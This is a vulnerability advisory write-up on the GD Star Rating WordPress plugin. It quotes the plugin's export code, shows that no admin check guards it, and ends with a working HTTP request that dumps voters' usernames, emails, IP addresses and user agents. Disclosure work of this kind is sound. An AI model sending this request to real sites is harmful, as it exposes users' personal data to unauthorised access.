Advisory
Secunia Advisory SA 49850
Analysis
The GD Star Rating plugin “allows you to set up advanced rating and review system for post types and comments in your blog using single, multi and thumbs ratings”. Through its admin interface, you can export some data, such as T2 templates and votes. The interesting thing it will allow you to do, is export user data. This will include userID, username, user email address, what vote was casted on which post, when the vote was cast, IP and user agent. However, a flaw exists in the code inĀ export.php which allows for information disclosure of these values.
The file will import some configuration and export classes, and then start figuring out what to export. It then takes the “ex” value to determine the export type, “de” for the data to export(Article or comment data), and then “us” for how much data to export.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
require_once("./code/cls/export.php"); require_once("./config.php"); $wpload = get_gdsr_wpload_path(); require($wpload); global $wpdb; if (isset($_GET["ex"])) { $export_type = $_GET["ex"]; $get_data = $_GET; switch($export_type) { case "user": $export_name = $export_type.'_'.$_GET["de"]; break; case "t2": $export_name = 't2'; break; case "t2full": $export_name = 't2_full'; break; } switch($export_type) { case "user": $values = array("us" => array("min", "nor"), "de" => array("article", "comment")); foreach ($get_data as $key => $value) { if (isset($values[$key])) { if (!in_array($value, $values[$key])) { die("invalid_request"); } } else if ($key != "ex") { if ($value !== "on") { die("invalid_request"); } } } header('Content-type: text/csv'); header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"'); $sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data); $rows = $wpdb->get_results($sql, ARRAY_N); if (count($rows) > 0) { foreach ($rows as $row) { echo '"'.join('", "', $row).'"'; echo "\r\n"; } } break; |
It calls into /cls/export.phps export_users function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
function export_users($user_data = "min", $data_export = "article", $get_data = array()) { global $table_prefix; $columns = array(); $select = array(); $where = array(); $tables = array(); $tables[] = $table_prefix."gdsr_votes_log v"; $tables[] = $table_prefix."users u"; $tables[] = $table_prefix."posts p"; $where[] = "v.vote_type = ''".$data_export."''"; $where[] = "v.user_id = u.id"; switch ($user_data) { case "min": $select[] = "u.id as user_id"; $columns[] = "user_id"; break; case "nor": $select[] = "u.id as user_id"; $select[] = "u.display_name"; $select[] = "u.user_email"; $columns[] = "user_id"; $columns[] = "user_name"; $columns[] = "user_email"; break; } $select[] = "p.id"; $columns[] = "post_id"; if ($get_data["pt"] == "on") { $select[] = "p.post_title"; $columns[] = "post_title"; } if ($get_data["pd"] == "on") { $select[] = "p.post_date"; $columns[] = "post_date"; } switch ($data_export) { case "article": $where[] = "v.id = p.id"; break; case "comment": $select[] = "c.comment_id"; $columns[] = "comment_id"; $tables[] = $table_prefix."comments c"; $where[] = "v.id = c.comment_id"; $where[] = "p.id = c.comment_post_id"; if ($get_data["ca"] == "on") { $select[] = "c.comment_author"; $columns[] = "comment_author"; } if ($get_data["cd"] == "on") { $select[] = "c.comment_date"; $columns[] = "comment_date"; } break; } $select[] = "v.vote"; $select[] = "v.voted"; $columns[] = "vote"; $columns[] = "vote_date"; if ($get_data["ip"] == "on") { $select[] = "v.ip"; $columns[] = "ip"; } if ($get_data["ua"] == "on") { $select[] = "v.user_agent"; $columns[] = "user_agent"; } echo join(", ", $columns)."\r\n"; $j_select = join(", ", $select); $j_where = join(" and ", $where); $j_tables = join(", ", $tables); return sprintf("select %s from %s where %s order by u.id", $j_select, $j_tables, $j_where); } |
Here we see it takes in the “de”, “us”, and further get parameters and starts building up a SQL query to return. What we notice is that at no point so far have we seen any validation that the calling user is an admin. Also we notice that it checks the GET parameters “ip” and “ua”, which are used to toggle whether or not to return the IP and user agent information
Because of the lack of validation of the calling user, we can create an extremely simple request, which will export this data in clear text, including username, email, ip, and user agent.
1 2 |
GET /wordpress/wp-content/plugins/gd-star-rating/export.php?ex=user&de=article&us=nor&ip=on&ua=on HTTP/1.1 Host: 192.168.80.130 |